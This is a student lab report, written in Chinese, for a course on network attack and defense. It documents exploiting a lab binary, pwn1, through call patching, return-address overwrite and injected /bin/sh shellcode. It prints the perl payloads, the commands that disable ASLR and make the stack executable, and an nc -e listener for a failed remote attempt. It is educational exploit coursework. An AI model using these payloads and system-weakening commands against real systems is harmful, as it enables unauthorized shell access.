20222308 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验内容
本次式样具体内容是通过三种方法，运行pwn1可执行文件，调用getshell。
缓冲区溢出作为一种非常致命的攻击，它会使攻击者直接破坏堆栈保护，非法获取数据。
完成本次实验，需要具备以下知识和技能基础：

• 创建kali虚拟机，连接网络等
  这个部分对我来说还是出现了比较大的波折，我的操作系统是macos（架构为arm64），比较合适使用的是Parallels Desktop。下载了对应的kali映像，直到kali系统启用这一步都十分顺利。天有不测风云，拖拽文件以及复制粘贴的功能都没有，于是噩梦开始了，查找相关资料，需要下载PDtools（与VMware一样的）但是！！！他mac本情况太复杂了，每次下载都会出现同样的报错，下载的进程永远以一个大大的红红的ERROR结束。整个十一假期都是在于PDtools相互折磨，之后我又尝试在VMware Fusion下创建kali，下载之后直接黑屏。我只好接着把矛头指向PD，换个思路，利用U盘将pwn1文件导入进来，但是运行#～objdump -d pwn1 | more之后需要下载objdump 下载也总是报错。到这个阶段抓狂的我将魔爪伸向了身边的同学，感谢20222314czy同学大义凛然，借我电脑，江湖救急，所以这次实验是借了一台windows设备完成的，希望下次实验二之前自己能让自己的mac派上用场。
  至于下载的教程，官网下载对应映像，然后创建虚拟机，无脑下一步。
  用了备用机之后出现了网络连接异常的问题，参考了CSDN上的解决办法，手动增加了一个接口，成功解决！
• Linux基础知识
  要了解掌握基本的shell命令（例如：ls、cd、cp、touch、cat、su等等），熟练使用调试器gdb，尤其是gdb调试指令（例如：设置断点break/clear、 启用/禁用断点enable/disable、运行程序run、继续运行continue、单步代码跟入函数step、查看各类信息info、显示调用栈backtrack等）。
• 能够理解汇编语言
  查看pwn1文件，会看到各种各样的汇编指令（例如：PUSH、POP、JMP、CALL、LEAVE、RET），同时也要熟知esp、ebp、eip等寄存器中信息的作用。
• 了解shellcode技术
  shellcode常常使用机器语言编写。可在暂存器eip溢出后，塞入一段可让CPU执行的shellcode机器码，让电脑可以执行攻击者的任意指令。要特别注意，当shellcode 中出现‘\r’, ‘\n’,0x00等字符时，代码将终止运行。例如，当’Null Bytes’（如0x00值）被读取时，CPU会将它识别为字符串的结束（Null Terminator）。

2.实验过程

2.1.1. 查看pwn1反汇编信息
objdump -d pwn1 | more
|：管道符号，将前一个命令的输出作为后一个命令的输入
more：用于分页查看文本文件内容的程序

通过汇编信息，我们可以大概的了解一下这个程序文件的运行思路。main函数中，"call 8048491 "是汇编指令，这条指令将调用位于地址8048491处的foo函数；其对应机器指令为“e8 d7ffffff”，e8即跳转之意。
2.1.2. 修改pwn1
cp pwn1 pwn2
0xd7ffffff是0x8048491的补码
我们需要将call（foo）改为call （getshell）
就是要将d7ffffff（8048491）改为c3ffffff（804847d）


查看一下pwn2文件，修改成功！
之后运行一下
./pwn2

2.2.1 BOF攻击实践
查看反编译信息，保留了56字节的位置，但是只mov了28字节，这部分就是核心的缓冲区漏洞。
2.2.2 确认输入字符串哪几个字符会覆盖到返回地址
需要通过实验确定存储是小端还是大端存储
2.2.3 确认用什么值来覆盖返回地址
getShell的内存地址，通过反汇编时可以看到，即0804847d
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
将input的输入，通过管道符“|”，作为pwn1的输入。
(cat input; cat) | ./pwn1


2.2.4 注入shellcode攻击
前期准备，调整系统设置，是攻击成功的关键

 execstack -s pwn1    //设置堆栈可执行
 execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
 more /proc/sys/kernel/randomize_va_space 

要找一下堆栈返回地址的位置，然后再用shellcode的地址将其覆盖。

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1

开另外一个终端，使用gdb设置断点，查看内存地址

ps -ef | grep pwn1
gdb
(gdb)disassemble foo
(gdb) break *0x080484ae
(gdb) c//注意这时在另外一个终端中按下回车，提交，让进程继续走
(gdb) info r esp

shellcode结束的位置是（01020304）0x0xffb12060
修改input—shellcode文件
perl -e 'print "A" x 32;print "\x60\x20\xb1\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
shellcode注入后，我们可以打开一个shell，可以看到BOF攻击成功！

输入ls，可以看到文件
2.3 结合nc模拟远程攻击
主机1是我刚刚实验一直使用的虚拟机，主机2是同一物理机上的另一个虚拟机。
nc -l 172.20.10.2 -p 28234 -e ./pwn1
(cat input_shellcode; cat) | nc 172.20.10.2 28234

难过，没有成功，应该是网络连接的问题。

3.问题及解决方案

• 问题1：网络无法连接
• 问题1解决方案：查找CSDN相关博文
  
  
• 问题2：下载时apt端口进程占用
• 问题2解决方案：在终端强制取消下载进程。

4.学习感悟、思考等

过程有点艰难，但是成就感很强。这次实验设计的知识点比较多既需要理解汇编语言，也需要理解推入堆栈的整体策略。在进行shellcode注入时，一开始并没有设置成功，导致来回重复了很多次断点查询，反复试验都没有成功，等再次设置系统之后成功，后来经过反思，觉得内存空间的分配真的是一个完全随机的过程，每一次程序执行断点的内存空间都不一样。包括一开始查找shellcode开始地址和结束地址的过程还是比较有意思，但是由于前面的设置都没有成功，所以截图没有全部放出。
经过本次实验，我觉得我分析问题、解决问题的能力获得了比较大的锻炼，但是感觉对于这种攻击方法还只是学习到了一点点皮毛，感觉如果换一个稍微复杂的文件可能就要研究很久。并且对于esp、eip这类参数的理解和运用还不是十分到位，希望日后能更深入学习一下。